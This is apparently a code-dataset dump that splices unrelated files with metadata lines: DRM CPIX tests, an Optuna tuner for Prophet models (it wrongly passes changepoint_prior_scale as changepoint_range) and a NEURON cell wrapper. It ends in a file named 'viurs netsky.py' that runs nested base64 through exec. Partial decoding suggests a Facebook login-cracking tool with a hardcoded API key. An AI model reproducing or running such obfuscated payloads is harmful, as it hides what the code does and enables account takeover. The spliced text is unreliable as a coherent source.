test_case_5_widevine_fairplay(widevine_fairplay_response): root_cpix = ET.fromstring(widevine_fairplay_response) speke_element_assertions.check_cpix_version(root_cpix) speke_element_assertions.validate_root_element(root_cpix) speke_element_assertions.validate_mandatory_cpix_child_elements(root_cpix) speke_element_assertions.validate_content_key_list_element(root_cpix, 2, "cbcs") speke_element_assertions.validate_drm_system_list_element(root_cpix, 4, 2, 2, 0, 2) speke_element_assertions.validate_content_key_usage_rule_list_element(root_cpix, 2) speke_element_assertions.validate_content_key_usage_rule_list_for_unencrypted_presets(root_cpix, "audio") def test_case_5_playready_fairplay(playready_fairplay_response): root_cpix = ET.fromstring(playready_fairplay_response) speke_element_assertions.check_cpix_version(root_cpix) speke_element_assertions.validate_root_element(root_cpix) speke_element_assertions.validate_mandatory_cpix_child_elements(root_cpix) speke_element_assertions.validate_content_key_list_element(root_cpix, 2, "cbcs") speke_element_assertions.validate_drm_system_list_element(root_cpix, 4, 2, 0, 2, 2) speke_element_assertions.validate_content_key_usage_rule_list_element(root_cpix, 2) speke_element_assertions.validate_content_key_usage_rule_list_for_unencrypted_presets(root_cpix, "audio") def test_case_5_widevine_playready_fairplay(widevine_playready_fairplay_response): root_cpix = ET.fromstring(widevine_playready_fairplay_response) speke_element_assertions.check_cpix_version(root_cpix) speke_element_assertions.validate_root_element(root_cpix) speke_element_assertions.validate_mandatory_cpix_child_elements(root_cpix) speke_element_assertions.validate_content_key_list_element(root_cpix, 2, "cbcs") speke_element_assertions.validate_drm_system_list_element(root_cpix, 6, 2, 2, 2, 2) speke_element_assertions.validate_content_key_usage_rule_list_element(root_cpix, 2) speke_element_assertions.validate_content_key_usage_rule_list_for_unencrypted_presets(root_cpix, "audio")

50.112

124

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5.414989

0.065996

0.092543

0.227226

0.260277

0.964264

0.960132

0.928321

0.891551

0.856848

0

0.014563

0.079183

6,264

124

125

50.516129

0.824723

0

0.563218

0

0.017886

0

0.574713

1

0.16092

false

0

0.034483

0.08046

0.275862

0

null

0

1

0

null

0

1

0

9

a699ae1a93e1ae038d689ac23ff2015712a89146

9,984

py

Python

src/Final-NeuralFBProphet/optim/bayesian.py

ds-wook/Final-NeuralFBProphet

0cb44bfa0ca1ea49077e29bce4d34af2c6a4d618

[ "Apache-2.0" ]

16

2021-04-29T13:27:37.000Z

2021-12-30T00:19:00.000Z

src/Final-NeuralFBProphet/optim/bayesian.py

ds-wook/Final-NeuralFBProphet

0cb44bfa0ca1ea49077e29bce4d34af2c6a4d618

[ "Apache-2.0" ]

null

src/Final-NeuralFBProphet/optim/bayesian.py

ds-wook/Final-NeuralFBProphet

0cb44bfa0ca1ea49077e29bce4d34af2c6a4d618

[ "Apache-2.0" ]

3

2021-05-20T04:05:15.000Z

2021-05-20T04:12:40.000Z

from typing import Callable import joblib import optuna import pandas as pd from fbprophet import Prophet from optuna import Trial from optuna.samplers import TPESampler from sklearn.metrics import mean_squared_error class BayesianOptimizer: def __init__(self, objective_function: object): self.objective_function = objective_function def build_study(self, trials: int, verbose: bool = False): sampler = TPESampler(seed=42) study = optuna.create_study( study_name="TPE hyperparameter", direction="minimize", sampler=sampler, ) study.optimize(self.objective_function, n_trials=trials) if verbose: self.display_study_statistics(study) return study def display_study_statistics(study: optuna.create_study): print("Best Score:", study.best_value) print("Best trial:", study.best_trial.params) @staticmethod def save_params(study: optuna.create_study, params_name: str): params = study.best_trial.params joblib.dump(params, "../../parameters/" + params_name) @staticmethod def save_two_params(study: optuna.create_study, params_name: str): prophet_params = study.best_params prophet_params["growth"] = "logistic" prophet_params["seasonality_mode"] = "additive" prophet_params["weekly_seasonality"] = True prophet_params["daily_seasonality"] = True prophet_params["yearly_seasonality"] = False joblib.dump(prophet_params, "../../parameters/" + params_name) @staticmethod def plot_optimization_history(study: optuna.create_study) -> optuna.visualization: return optuna.visualization.plot_optimization_history(study) @staticmethod def plot_param_importances(study: optuna.create_study) -> optuna.visualization: return optuna.visualization.plot_param_importances(study) @staticmethod def plot_edf(study: optuna.create_study) -> optuna.visualization: return optuna.visualization.plot_edf(study) def ontune_prophet_objective( train: pd.DataFrame, valid: pd.Series, cap: float, floor: float ) -> Callable[[Trial], float]: def objective(trial: Trial) -> float: params = { "changepoint_range": trial.suggest_discrete_uniform( "changepoint_range", 0.8, 0.95, 0.001 ), "n_changepoints": trial.suggest_int("n_changepoints", 20, 35), "changepoint_prior_scale": trial.suggest_discrete_uniform( "changepoint_prior_scale", 0.001, 0.5, 0.001 ), "seasonality_prior_scale": trial.suggest_discrete_uniform( "seasonality_prior_scale", 1, 25, 0.5 ), "yearly_fourier": trial.suggest_int("yearly_fourier", 5, 15), "monthly_fourier": trial.suggest_int("monthly_fourier", 3, 12), "weekly_fourier": trial.suggest_int("weekly_fourier", 3, 7), "quaterly_fourier": trial.suggest_int("quaterly_fourier", 3, 10), "yearly_prior": trial.suggest_discrete_uniform("yearly_prior", 1, 25, 0.5), "monthly_prior": trial.suggest_discrete_uniform( "monthly_prior", 1, 25, 0.5 ), "weekly_prior": trial.suggest_discrete_uniform("weekly_prior", 1, 25, 0.5), "quaterly_prior": trial.suggest_discrete_uniform( "quaterly_prior", 1, 25, 0.5 ), "growth": "logistic", "seasonality_mode": "additive", "weekly_seasonality": True, "daily_seasonality": True, } # fit_model model = Prophet( changepoint_range=params["changepoint_prior_scale"], n_changepoints=params["n_changepoints"], changepoint_prior_scale=params["changepoint_prior_scale"], seasonality_prior_scale=params["seasonality_prior_scale"], yearly_seasonality=False, weekly_seasonality=True, daily_seasonality=True, growth="logistic", seasonality_mode="additive", ) model.add_seasonality( name="yearly", period=365.25, fourier_order=params["yearly_fourier"], prior_scale=params["yearly_prior"], ) model.add_seasonality( name="monthly", period=30.5, fourier_order=params["monthly_fourier"], prior_scale=params["monthly_prior"], ) model.add_seasonality( name="weekly", period=7, fourier_order=params["weekly_fourier"], prior_scale=params["weekly_prior"], ) model.add_seasonality( name="quaterly", period=365.25 / 4, fourier_order=params["quaterly_fourier"], prior_scale=params["quaterly_prior"], ) train["cap"] = cap train["floor"] = floor model.fit(train) future = model.make_future_dataframe(periods=144, freq="d") future["cap"] = cap future["floor"] = floor forecast = model.predict(future) valid_forecast = forecast.tail(7) rmse = mean_squared_error(valid.y, valid_forecast.yhat, squared=False) return rmse return objective def vcenter_prophet_objective( train: pd.DataFrame, valid: pd.Series, cap: float, floor: float ) -> Callable[[Trial], float]: def objective(trial: Trial) -> float: params = { "changepoint_range": trial.suggest_discrete_uniform( "changepoint_range", 0.8, 0.95, 0.001 ), "n_changepoints": trial.suggest_int("n_changepoints", 20, 35), "changepoint_prior_scale": trial.suggest_discrete_uniform( "changepoint_prior_scale", 0.001, 0.5, 0.001 ), "seasonality_prior_scale": trial.suggest_discrete_uniform( "seasonality_prior_scale", 1, 25, 0.5 ), "yearly_fourier": trial.suggest_int("yearly_fourier", 5, 15), "monthly_fourier": trial.suggest_int("monthly_fourier", 3, 12), "weekly_fourier": trial.suggest_int("weekly_fourier", 3, 7), "quaterly_fourier": trial.suggest_int("quaterly_fourier", 3, 10), "yearly_prior": trial.suggest_discrete_uniform("yearly_prior", 1, 25, 0.5), "monthly_prior": trial.suggest_discrete_uniform( "monthly_prior", 1, 25, 0.5 ), "weekly_prior": trial.suggest_discrete_uniform("weekly_prior", 1, 25, 0.5), "quaterly_prior": trial.suggest_discrete_uniform( "quaterly_prior", 1, 25, 0.5 ), "growth": "logistic", "seasonality_mode": "additive", "weekly_seasonality": True, "daily_seasonality": True, } # fit_model model = Prophet( changepoint_range=params["changepoint_prior_scale"], n_changepoints=params["n_changepoints"], changepoint_prior_scale=params["changepoint_prior_scale"], seasonality_prior_scale=params["seasonality_prior_scale"], yearly_seasonality=False, weekly_seasonality=True, daily_seasonality=True, growth="logistic", seasonality_mode="additive", ) model.add_seasonality( name="yearly", period=365.25, fourier_order=params["yearly_fourier"], prior_scale=params["yearly_prior"], ) model.add_seasonality( name="monthly", period=30.5, fourier_order=params["monthly_fourier"], prior_scale=params["monthly_prior"], ) model.add_seasonality( name="weekly", period=7, fourier_order=params["weekly_fourier"], prior_scale=params["weekly_prior"], ) model.add_seasonality( name="quaterly", period=365.25 / 4, fourier_order=params["quaterly_fourier"], prior_scale=params["quaterly_prior"], ) train["cap"] = cap train["floor"] = floor model.fit(train) future = model.make_future_dataframe(periods=144, freq="d") future["cap"] = cap future["floor"] = floor forecast = model.predict(future) valid_forecast = forecast.tail(7) rmse = mean_squared_error(valid.y, valid_forecast.yhat, squared=False) return rmse return objective def two_second_prophet_objective( train: pd.DataFrame, valid: pd.Series, cap: float, floor: float ) -> Callable[[Trial], float]: def objective(trial: Trial) -> float: params = { "changepoint_range": trial.suggest_discrete_uniform( "changepoint_range", 0.8, 0.95, 0.001 ), "n_changepoints": trial.suggest_int("n_changepoints", 20, 35), "changepoint_prior_scale": trial.suggest_discrete_uniform( "changepoint_prior_scale", 0.001, 0.5, 0.001 ), "seasonality_prior_scale": trial.suggest_discrete_uniform( "seasonality_prior_scale", 1, 25, 0.5 ), "growth": "logistic", "seasonality_mode": "additive", "yearly_seasonality": False, "weekly_seasonality": True, "daily_seasonality": True, } # fit_model m = Prophet(**params) train["cap"] = cap train["floor"] = floor m.fit(train) future = m.make_future_dataframe(periods=163, freq="H") future["cap"] = cap future["floor"] = floor forecast = m.predict(future) valid_forecast = forecast.tail(163) val_rmse = mean_squared_error(valid.y, valid_forecast.yhat, squared=False) return val_rmse return objective

36.977778

87

0.605869

1,044

9,984

5.522989

0.12931

0.052029

0.058966

0.079605

0.800035

0.774714

0.76847

0.752862

0.735519

0

0.026876

0.284455

9,984

269

88

37.115242

0.780235

0.002905

0

0.720339

0

0.184404

0.041604

0

1

0.059322

false

0

0.042373

0.012712

0.148305

0.008475

0

null

0

1

0

1

0

null

0

7

a6a2df6d518d69cff798813900fa87ad8315152c

1,917

py

Python

examples/single_compartment/cell_wrapper.py

pbcanfield/ASCT

27dba80c612c844971c545a1af0758272900f8c7

[ "MIT" ]

null

examples/single_compartment/cell_wrapper.py

pbcanfield/ASCT

27dba80c612c844971c545a1af0758272900f8c7

[ "MIT" ]

1

2021-10-12T21:38:18.000Z

examples/single_compartment/cell_wrapper.py

pbcanfield/ASCT

27dba80c612c844971c545a1af0758272900f8c7

[ "MIT" ]

null

from asct.src.Cell import Cell from neuron import h import pdb #This class takes a NEURON HOC file as an input creates a wrapper #which can be run by sbi for simulation data. class CellToOptimize(Cell): def __init__(self): #Load in the cell via hoc file. template_name = "CA3PyramidalCell" template_dir = "CA3Cell_Qian/CA3.hoc" #Load the template directory. h.load_file(template_dir) #Get the cell from the h object. invoke_cell = getattr(h, template_name) #Exctract the neuron cell object itself. This also inserts the cell into the neuron simulator. self.__cell = invoke_cell() super(CellToOptimize, self).__init__() #REQUIRED FUNCTION def set_parameters(self,parameter_list,parameter_values): for sec in self.__cell.all: for index, key in enumerate(parameter_list): setattr(sec, key, parameter_values[index]) #REQUIRED FUNCTION def get_recording_section(self): return self.__cell.soma[0](0.5) class ModelCell(Cell): def __init__(self): #Load in the cell via hoc file. template_name = "CA3PyramidalCell" template_dir = "CA3Cell_Qian/CA3.hoc" #Load the template directory. h.load_file(template_dir) #Get the cell from the h object. invoke_cell = getattr(h, template_name) #Exctract the neuron cell object itself. This also inserts the cell into the neuron simulator. self.__cell = invoke_cell() super(ModelCell, self).__init__() #REQUIRED FUNCTION def set_parameters(self,parameter_list,parameter_values): for sec in self.__cell.all: for index, key in enumerate(parameter_list): setattr(sec, key, parameter_values[index]) #REQUIRED FUNCTION def get_recording_section(self): return self.__cell.soma[0](0.5)

35.5

102

0.66771

254

1,917

4.811024

0.295276

0.03437

0.062193

0.02455

0.841244

0

0.008421

0.256651

1,917

54

103

35.5

0.849123

0.282733

0

0.774194

0

0.052863

0

1

0.193548

false

0

0.096774

0.064516

0.419355

0

null

0

1

0

1

0

null

0

7

a6e0a2e6eddf4ce4cc78f70a01ed36158c3ff3ea

15,628

py

Python

viurs netsky.py

covid192/iraquv3

797b6935a4c2c079983edf456bd458e802f2e890

[ "MIT" ]

null

viurs netsky.py

covid192/iraquv3

797b6935a4c2c079983edf456bd458e802f2e890

[ "MIT" ]

null

viurs netsky.py

covid192/iraquv3

797b6935a4c2c079983edf456bd458e802f2e890

[ "MIT" ]

1

2021-05-06T03:02:43.000Z

#Coded By Veurs Netsky #Tele@veuresnetsky #وقل ربي زدني علما # import base64 exec(base64.b64decode("#Compile By ARIS STYA CHANNEL
#TIM JANDA
import base64
exec(base64.b64decode("I0NvbXBpbGUgQnkgQVJJUyBTVFlBIENIQU5ORUwKI1RJTSBKQU5EQQppbXBvcnQgYmFzZTY0CmV4ZWMoYmFzZTY0LmI2NGRlY29kZSgiSTBOdmJYQnBiR1VnUW5rZ1FWSkpVeUJUVkZsQklFTklRVTVPUlV3S0kxUkpUU0JLUVU1RVFRcHBiWEJ2Y25RZ1ltRnpaVFkwQ21WNFpXTW9ZbUZ6WlRZMExtSTJOR1JsWTI5a1pTZ2lTWGxDUkdJeVVteGFRMEpwWlZOQ1JXUlhlRTFaVjJkblMwZGFhVXh0TVd4TU1sSXhZa2RHYjJWcGEyZE1VekJMU1hsQ1UxcFhUblphUjFWblVXNXJaMU5YZEhsWlV6QjRUMEZ2UzJGWE1YZGlNMG93U1VjNWVreERRbmxhVTNkblkyMVdlR1JYVm5wa1NFMXpTVWRPZG1KdFRqRmpia3BzWW01UmRWcHVWakJrV0Vwc1kzZHdiV050T1hSSlNFcG9ZbTFTZG1KVFFuQmlXRUoyWTI1UloyTnRSblZhUjJ4MVpFRnZTMkZYTVhkaU0wb3dTVWM1ZWt4RFFucGxXRTFMVkZOQk9VbERaR05OUkUxNlYzcEZOMDE2VG5SS2QzQkVTVVF3WjBveGQzZE5lazVpVFZSemVrMVhNRzVEYTFGblVGTkJibGhFUVhwTk1YTjRUM3BOZVdKVFkwdERiVkpzV21sQ00xbFRaM0JQWjI5blNVTkJaMkl6VFhWak0yeDZaRWRXZEV0RFpEUmFSMk4wWWpOQ2JHSnBRbTlrU0ZKM1kzcHZka3d6WkROa2VUVnRXVmRPYkZsdE9YWmhlVFZxWWpJd2RrMVVSVFJPUkZsNVRYcFZNazlFV1hkTmFsRXlTbmxyUzBObmNHdGFWMWxuWTIxV2VtUkhSbmxrUTJkd1QyZHZaMGxEUVdkaWJXUXhZa2RHZFZwNVFUbEpTRTQxWTNrMWJHVkhWbXBrV0ZKb1dXMTRiRU5wUVdkSlEwSjJZM2sxYkdWSFZtcGlRMmgxV2pOV2MxbFhOVzVNUTBKMVdqTldjMWxYTlc1TVEwRnhZek5zZWt4dFJubGFNMWx3UTIwNWVreHVUalZqTTFKc1lsTm5ibGt5ZUd4WldFbHVTMU5CWjBsRFFVdGpTRXB3WW01UmIxSkRhMHREYlRsNlRHNU9OV016VW14aVUyZHVXbTFzYm1KSFZqQkpRMHBVWVZkU2VWbFhWbk5hV0hBMlNXbGpjRU5uY0hkamJXeDFaRU5uWjBscFNXbEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaME5zZDNkTmVrNWlUVlJ6TlU1dE1XSkxNVEJuVmtjNWRsUkRRa05sVTBKVVlWZFNlVmxUUWtaVVJWWTJaV2R3WTAxRVRYcFhla1UzVDFSYWRGZDVkR1JKUjJ4VVNVWlNkbUl3ZDJkU2JrcHNXbE5CUzFoRVFYcE5NWE40VDNwck1tSldjM0pZVTBKVllqSTVUVWxGVG5sWlYwNXlTVVZhYUZreVZtbGlNamx5U1VWc2VWbFlSbGROZVVGTFNXbEphVXRSYjB0alNFcHdZbTVSYjFGNWEwdERia0o1WVZjMU1FdERZMmRKUTBGblNVTkJaMGxEUVdkSlJIYzVVRlF3T1ZCVU1EbFFWREE1VUZRd09WQlVNRGxRVkRBNVVGUXdPVkJVTkdkSlEwRm5TVU5CWjBsRFFXNUxVWEF4WXpKV2VVbEVNR2RoVnpWM1pGaFJiMG94ZDNkTmVrNWlUVlJ6TlU1dE1XSkxNVEZqWlVSR2FWZDZSVGRQVkdSMFZsaE9iR05yTldoaVYxVm5XRWhuZUZsc2MzaFBlbXN5WWxRd1owcDVhMHRoVnpGM1lqTktNRWxIWkd4a1NFSm9Zek5OUzJNeVJuVmFSMnRuVUZOQ2NHSnVRakZrUTJkdVdFUkJlazB4YzNoUGVtc3lZbFp6Y2xoV2VEUk5WMHBpVFZSek5VNHlNVkZSVms1VVZqQTVVMUpEUW1ObFJFWnBWM3BGTjA5VVduUlFVMEZ1UzFGd2NGcHBRbnBaVnpWcllWTkJPVkJUUVc1VFdFcG9ZMWhaZWtwNVFtaGliVkZuWkZoT2JHTnBRVGxRVTBGdVUxaEthR05ZV1hwS2VtOUxTVU5CWjBsSVFubGhWelV3UzBOQmJsRlhOV3RaVTBKVldsZDRhR0ZEUWsxaU1tUndZbWxqY0VOcFFXZEpRMEo2WlZoTmRWcFlhSEJrUVhCc1lraE9iRTluYjJkSlEwRm5ZMGhLY0dKdVVXOUpRMlJOWWpKa2NHSnBRa2hSVldSQ1ZFTjNaMVV5YkhOWlYyaHlXVmMwWjJGSVZtbGtWelZ1WVZOQ1FsSkZNVXBVYVdOd1EybEJaMGxEUWpOWlUyZHdRMmxCWjBsRFFubGFXRTR3V1ZoS01FdERhMHRpTTAxMVl6TnNlbVJIVm5STFEyUnFZa2RXYUdOcFkzQkRaM0J6WVZkSloxQlRRbkJpYmtJeFpFTm5hVWxwU21OTlJFMTZWM3ByZVdKUmIyZFlNVGxtV0hsQloxaDVRV2RKUTBGbldIbEJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEptUTJrNFoxZ3hPV1ptUTJobVMxTkNabGd6ZDJkbVJqaG5XREU0WjFneE9HZFllVUZuV0RFNVptWkRRamhKUmpsbVdIbENabGd4T1daWU1UbG1XSGR3WTFneE9XWkpSbmc0U1VoM2RrbEdPV2RKU0hkblNqRTVaa3g1UW1aWlEwSTRUSGxDWmtsR2QyZG1RemhuV0hsQ1kxaDVRV2RNTVRoblNVTTRaMGxEUVdkSlEwSm1XREU0Y0VsSWQyZG1RMEZ2V0ROM1oyWkRRamhKU0hkblMwWTVPRWxJZDJkSlJqbG1USGxDT0VsRFFtWlllVGgyU1VNNFoweDVRWFpEYm5obVdERTVaa3d6ZUdabVJuaG1XSGw0Wm1aR09UaEpRMEpqV0RFNGMxZ3plR05ZTVRsbVprWTVPRmhHT1daWWVUbG1XREU0ZGxneE9XWm1RVzlMV0VSQmVrMHhjM2hQZW10NllsWnpjbGhUUWxWaU1qbE5TVVZLTlVsR1RuQmFTRXBvU1VWV1RWSlljRFpEYkhkM1RYcE9ZazFVY3pWT2JURmlTekV3WjJGV1RXZFdSemwyVkVOQ1IyTnRWbXhKUVhCalRVUk5lbGQ2UlRkUFZGWjBWM2wwWkVsR1VuWmlNSGRuVVROS2FGa3ljMmRTYlVacVdsZEtkbUl5YzJkVFdFcG9ZMVpaZWtsQmIwdEpRMEpqVFVSTmVsZDZSVGRQVkU1MFNVTkJaMGxEUVdkSlEwRm5TVU5CWjFCRU1EbFFWREE1VUZRd09WQlVNRGxRVkRBNVVGUXdPVkJVTURsUVZEQTVVR2R3WTAxRVRYcFhla1UzVDFSS2RGZDZSbVJKUlZKMlpESTFjMkl5Um10SlIzaHdXV2xCYlVsSVZuZGFSMFl3V2xGd1kwMUVUWHBYZWtVM1QxUktkRmQ2U21SSlNFSm9Zek5OUzBOc2QzZE5lazVpVFZSek5VMVhNV0pMTVRCblZVZDRiRmxZVG14SlJVNXZZakpzYWxwVFFTdFFiSGQzVFhwT1lrMVVjelZOYlRCblNXbEphVXRSYjB0aFYxbG5Za2RzYVVsRU1EbEpRMGw0U1dwdlMwbERRV2RKUnpsNlRHNU9OV016VW14aVUyZHVZMGQwYmtsSVZuZFpWMUl3V2xOQmJVcHBRbmRoTW1OblpGaENibU50Um10YVUyTndRMmxCWjBsRFFuWmplVFY2WlZoT01GcFhNRzlLTTBKeVdubENjR0p1VGpCWlYzaHpTVWRhY0dNeVoyNUxVVzluU1VOQloySXpUWFZqTTJ4NlpFZFdkRXREWkhkaE1tTm5ZVmMxZW1SSFJuTmlRMEozWlZoU2IySXlOSGxLZVd0TFNVTkJaMGxIT1hwTWJrNDFZek5TYkdKVFoyNWpSM1J1U1Vkc2RXTXpVbWhpUjNkbldtMXNibUpIVmpCS2VXdExTVU5CWjBsSE9YcE1iazQxWXpOU2JHSlRaMjVqUjNSdVNVZHNkV016VW1oaVIzZG5aRWM1Y0dKSFZqQktlV3RMU1VOQlowbEhPWHBNYms0MVl6TlNiR0pUWjI1Wk1uaHNXVmhKYmt0UmIyZEpRMEZuWTBkR2VtTjNjR3hpU0U1c1QyZHZaMGxEUVdkaU0wMTFZek5zZW1SSFZuUkxRMlJxWWtkV2FHTnBZM0JEYVVGblNVTkNkMWxZVG5wRGJUbDZURzVPTldNelVteGlVMmR1V1RKNGJGbFlTVzVMVVhCcldsZFpaMWx1U2pGa1IxVnZaRmhPYkdOcGQyZGpSMFo2WXpOTmNFOW5iMmRKU0ZKNVpWUnZTMGxEUVdkSlIxcDJZMmxDZDJSNVFuQmlhVUozV1ZoT2VtTjZiMHRKUTBGblNVTkJaMk5IUm5sWlZ6RjZVRmh6UzBsRFFXZEpRMEZuU1VOQmJsbFhUbXBhV0U1NldETlNkbUV5Vm5WS2VtOW5TbnBOTVUxRVdUUk9WRlY2VFZSamVVOURWVE5SZWxsNVdtcG9hbHBVYkcxT2VsSnBUVlJLYlU5RVVtcE5WRWw2V1RKTmVVMTZVWHBPTWtVd1dWUk5lVXA1ZDB0SlEwRm5TVU5CWjBsRFFXNWFiVGw1WWxkR01FcDZiMmRLTUhCVVZEQTBia3hCYjJkSlEwRm5TVU5CWjBsRFpIcGFSM1JtWkcxV2VXTXliSFppYVdNMlNVTmplVXA1ZDB0SlEwRm5TVU5CWjBsRFFXNWFWekZvWVZkM2JrOXBRakZqTWxaNVRFRnZaMGxEUVdkSlEwRm5TVU5rYzJJeVRtaGlSMVZ1VDJsQmJscFhOV1pXVmsxdVRFRnZaMGxEUVdkSlEwRm5TVU5rZDFsWVRucGtNamw1V2tOak5rbElRak5NUVc5blNVTkJaMGxEUVdkSlEyUjZXa2R6Yms5cFFXNWhWemw2U25sM1MwbERRV2RKUTBGblNVTkJibG95Vm5WYVdFcG9aRWRXWm1NeVZucGpNbXgyWW13NWFtSXlPWEpoVjFaNlNucHZaMHA2Ulc1TVFXOW5TVU5CWjBsRFFXZEpRMlI2WVZkamJrOXBRVzVOTWxreFRsUldiVTlVYkcxWmFsbDRXbTFPYTA0eVJtaE5SMDB3VGtkWk1VOUhXVEZOYWtwc1dtcFpia3hCYjJkSlEwRm5TVU5DT1VOcFFXZEpRMEZuU1VkR2QyRlVNRzVoU0ZJd1kwaE5Oa3g1T1dsTVYwWjNZVk0xYlZsWFRteFpiVGwyWVhrMWFtSXlNSFppVjFZd1lVYzVhMHd5UmpGa1IyZDFZa2M1Ym1GWE5HNURhVUZuU1VOQlowbElTbXhqTTBKMlltNU9iRkJZU214aldGWnNZek5TZWt4dFpHeGtRMmhvWTBkcmMwbElRbWhqYlVaMFkzb3hkMWxZU21oaVdFMXdRMmxCWjBsRFFXZEpSMnh0U1VoS2JFeHVUbXhaV0VwcVlVTm5ia3RGVmtKUlZVVndXRWhqY2twNWQyZGpNMUo1UzBoS2JHTXpRblppYms1c1RHNVNiR1ZJVVhCTFZHOUxTVU5CWjBsRFFXZEpRMEozWTIxc2RXUkRaMjVKUTBKaVZFVnNWMUpXTUdkS1dFMW5URlEwWjBwWVRXZEtlVlZ2WXpOU2VVdElWbnBhV0Vsd1RFTkNlbVJJU1c5alNHTndTMU5yUzBsRFFXZEpRMEZuU1VOQ2FXTnRWbWhoZDI5blNVTkJaMGxEUW14aVIyeHRTVU5rTTJRelkzVmFiVVpxV2xkS2RtSXljM1ZaTWpsMFNubENjR0pwUW5sYVdFNTNZakkxZWxwVE5YRmpNamwxUzBOc1lrb3lWbmxqYlRsNVdESXhlbHA1WkdSUFoyOW5TVU5CWjBsRFFXZEpTRUo1WVZjMU1FdERZMmRKUm5SRVUwVldURmhUUVd4amVVRjBVR2xCYkdONVFXNUtVMmg2WkVoSmIyUllUbXhqYVd0elNVaE9NR05wYUhka2VXdHdTMUZ2WjBsRFFXZEpRMEZuU1VkS2VWcFhSbkpEYVVGbldsaG9hbHBZUWpCUGFVSjNXVmhPZWtObmNHdGFWMWxuWTIxR2RWcEhPWFJZTWpVeFlsZEtiR051VFc5TFZHOUxTVU5DYTFsWVVtaEpSREJuVnpFd1MwbERRblpqZVRWNlpWaE9NRnBYTUc5S01rNXpZM2xqWjJGWFdXZGlNMDExWW0xR2RGcFRRVGxRVTBGdVltNVJia2xIVm5Oak1sVm5TakpPYzFwWFJubEtlV3RMU1VOQ2RtTjVOWHBsV0U0d1dsY3diMG95VG5OYVYwWjVTbmxyUzBsRFFuZGpiV3gxWkVOb1JVdFJiMmRKUnpsNlRHNU9OV016VW14aVUyZHVXbTFzYm1KSFZqQkpRMHBLVld0R1VrbHBZM0JEYVVGblkwaEtjR0p1VVc5S2VXTnVRMmxDWTAxNlRtSk5la1UzVFZjeFlrbEdVblppTUhkblVUTkthRmt5YzJkU2JVWnFXbGRLZG1JeWMyZFRXRXBvWTFaWmVrbERRbVJEWjNCalRVUk5lbGQ2UlRkUFZFNTBWM2wwWkVsRlRtOWlNamw2V2xOQ01HRkhWV2RpYmxaMFdXMVdlVmQ2Vm1STVEwSjJZWGxDUm1WSFJuUmpSM2hzVDJkd1kwMUVUWHBYZWtVM1QxUldkRmQ1ZEdSSlJHc3lUa1JqTVVOc2QzZE5lazVpVFZSek5VNVhNV0pMTVRCblQxUlpNRTU2WTB0WVJFRjZUVEZ6ZUU5NmF6RmlWbk55V0ZOQk5VNXFVVE5QUVc5blNVTmpia3A1YTB0SlEwSnlZakpTYkZCWVRqQmphV2h3WW01Q01XUkRaMjVZUkUxNlYzcE5lazk2Um5SU1Z6VXdXbGhKWjJSSGFHeEpTRTR3V1ZoS01HRlhOVzVKUnpVeFlsZEtiR05xYjJkS2VXdHdRMmxCWjFwWWFIQmtRMmR1V0VSTmVsZDZUVEpQZWtaMFNVWlNiMXBUUW5Wa1Z6RnBXbGhKWjJKWVZucGtRMEpwV2xOQk1VbEhVbkJhTW13d1kzbDNaMkp0T0dkaVIxWjZZM2xDYUdKdFVXZGliVGhuWWxjNWVWcFRORzVMVTBKd1dtbENjMXBYTkc5aE1qbHJXbE5yWjFCRFFURkpSMVp6WXpKVlowcDVZMHRKUTBKc1pVZHNNRXREWkdOTmVrNWlUWHBaTjAxWE1HZFdSMmhzU1VjMU1XSlhTbXhqYVVKMFpGaE9NRWxIU214SlJGVm5Xa2RzYm1GWVVucE1RMEoxWW5sQ2MxcFlUbnBKUjBaMVdrTkNkV0o1UW5SaU0wcHNUR2xqY0VsSGJHMUpSM2hzWW1sb2NtSXlVbXhMVTBFclNVUlZaMXBYZUhwYVUwRnVTbmR2WjBsSE9YcE1iazQxWXpOU2JHSlRaMjVaTW5oc1dWaEpia3RSYjJkSlJ6bDZURzVPTldNelVteGlVMmR1WkVjNWNHSkhWakJKUXpGdFNVZEtjRnA1UWxSaFYxSjVXVmRXYzFwWWNEWkpRekZIU1Vka2FHVlRZM0JEYVVGblkwaEtjR0p1VVc5SmFVbHBRMmxCWjFoRVFYcE5NWE40VDNwcmVtSlRRV2RKUTBGblNVTkJaMGxEUVdkSlJIYzVVRlF3T1ZCVU1EbFFWREE1VUZRd09WQlVNRGxRVkRBNVVGUXdPVkJVTkV0SlEwRkxTVU5DWTAxRVRYcFhla1UzVDFSS2RGZDVkR1JKUmxKMllqQjNaMUZ1YTJkVk1teHJZMjFGWjFKVmVFWmxibTlMU1VOQ1kwMUVUWHBYZWtVM1QxUktkRmQ1ZEdSSlIyeFVTVVpTZG1Jd2QyZFNia3BzV2xOQlMwbERRbU5OUkUxNlYzcEZOMDlVU25SWGVYUmtTVVpTZG1Jd2QyZFJNMHBvV1RKeloxSnRSbXBhVjBwMllqSnpaMU5ZU21oalZsbDZRMmxCWjBOcFFXZFlSRUY2VFRGemVFOTZhM3BpVTBGblNVTkJaMGxEUVdkSlEwRm5TVVIzT1ZCVU1EbFFWREE1VUZRd09WQlVNRGxRVkRBNVVGUXdPVkJVTURsUVZEUkxTVU5CYVVscFNYQkRhVUZuWWpOTmRXTXpiSHBrUjFaMFMwTmtORnBIWTNSaU0wSnNZbWxDYjJSSVVuZGplbTkyVEROUmRXSlhWWFpVZWtaUVZEQkpia3RSYjJkSlIzQjBZa1F4Y0dKdVVXOWhWelYzWkZoUmIwcDVZMjVEYVVGbldFUk5lbGQ2VFRKUGVrWjBVbGMxTUZwWVNXZGtSMmhzU1VjMU1XSlhTbXhqYVVFMlNVTmpia3A1YTNCRGFVRm5WekpTYUdSSFJYVlpXRUozV2xjMWEwdEljMjVrV0U1c1kybGpOa2xJVGpCamFXaHNTMU4zWjBvelFqTktlbkJpVFZSRmVVMXFUWHBPUkZFeFRsTjNlRTFxVFRCT1ZFVjVUWHBSTVV4RVJYaE5ha2w2VFhwUk1FNVVWVEpPYVhkNFRXcE5NRTVVVlRCTmVrbDRXRmd3Y0VsSFduWmphVUpzU1Vkc2RVbEdkSHBrU0VsdllUSTVhMXBUYTNKS2VXTjFZVzA1Y0dKcGFHSktlV